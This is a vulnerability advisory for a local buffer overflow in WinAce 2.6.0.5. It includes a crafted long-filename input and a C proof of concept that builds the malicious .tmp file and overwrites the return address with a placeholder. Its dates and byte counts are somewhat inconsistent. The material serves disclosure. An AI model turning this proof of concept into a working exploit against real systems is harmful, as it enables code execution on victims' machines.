WinAce2605.txt

`===========================================================================  
Application: WinAce  
http://www.winace.com/  
Versions: 2.6.0.5  
Platforms: Windows  
Bug: buffer-overflow  
Exploitation: local  
Date: Jul 22 2004  
Author: ATmaCA  
e-mail: [email protected]  
web: http://www.atmacasoft.com  
Credit: Kozan   
===========================================================================  
  
I. BACKGROUND  
  
WinAce is an archiving utility with an easy-to-use interface for creating,  
extracting, and viewing archives. It includes built-in compression for  
ACE, ZIP, LHA, and MS CAB formats, and built-in decompression for  
ACE, ZIP, LHA, MS CAB, RAR, ARJ, ARC, GZIP, TAR, and ZOO formats.  
You can create multivolume (disk-spanning) archives for ACE and MS CAB formats  
and self-extracting archives (SFX) for ACE and ZIP formats.   
  
More information about WinAce is available from:  
http://www.winace.com/winace.html  
  
II. DESCRIPTION  
  
Local exploitation of a buffer overflow vulnerability in WinAce  
allows attackers to execute arbitrary code.  
  
When WinAce attempts to compress any file, firstly it creates temporary file which contains   
the location of the file which will be compressed.  
The problem specifically exists when parsing temporary files that contain long file entries.  
  
An example malicious .tmp file with a long file name:  
  
c:\AAAAAAAAA...[A x 2021 bytes is where the EIP starts]1234[AAAA...AAAAA]\r\n  
  
Command line:  
  
"C:\Program Files\WinAce\winace.exe" a "C:\Program Files\WinAce\winace" @c:\crafted.tmp  
  
'[A x 2021]' represents any string of 2021 bytes in  
length. Opening either malicious tmp file on the Microsoft Windows  
platform will cause WinAce to crash with an access violation when  
attempting to execute instruction 0x34333231, which is the little-endian  
ASCII code representation of '1234'. An attacker can exploit this  
vulnerability to redirect the flow of control and eventually execute  
arbitrary code. This example is specific to the Microsoft Windows  
platform.  
  
III. ANALYSIS  
  
Exploitation of the described vulnerability allows remote attackers to  
execute arbitrary code under the context of the user who started WinAce.  
  
Exploitation requires that an attacker to execute arbitrary command line which contain location of malicious tmp file.  
  
IV. DETECTION  
  
WinAce 2.6.0.5 as installed on the Microsoft Windows  
platform is affected. Earlier versions may also be susceptible.  
  
V. TIMELINE  
  
07/22/2005 Initial vendor notification  
07/25/2005 Initial vendor response  
08/19/2005 Public disclosure  
  
VI. POC:  
  
/*  
*  
* WinAce Temporary File Parsing Buffer Overflow Vulnerability  
* http://www.winace.com/winace.html  
* Discovered & Coded By ATmaCA  
* Web: atmacasoft.com && spyinstructors.com  
* E-Mail: [email protected]  
* Credit to kozan  
*  
*/  
  
/*  
*  
* Tested with WinAce 2.6.0.5 as installed on the Win XP Sp2 En platform  
*  
*/  
  
#include <windows.h>  
#include <stdio.h>  
  
void main()  
{  
// create crafted command line  
char tmpfile[] = "c:\\crafted.tmp";  
char winacepath[] = "\"C:\\Program Files\\WinAce\\winace.exe\"";  
char compresspar[] = " a \"C:\\Program Files\\WinAce\\winace\" @";  
char runpar[300];  
int i = 0;  
char Ret_Addr[]= "\x31\x32\x33\x34";  
  
strcpy(runpar,winacepath);  
strcat(runpar,compresspar);  
strcat(runpar,tmpfile);  
  
// create crafted .tmp file  
FILE *di;  
if( (di=fopen(tmpfile,"wb")) == NULL ){  
return;  
}  
  
fprintf(di,"c:\\");  
  
for(i=0;i<2013;i++)  
fputc(0x41,di);  
  
// Overwriting the return address (EIP)  
fprintf(di,Ret_Addr); //EIP  
  
for(i=0;i<178;i++)  
fputc(0x41,di);  
  
// end of file  
fprintf(di,"\x2E\x74\x78\x74\x0D\x0A");  
  
fclose(di);  
WinExec(runpar,SW_SHOW);  
}  
`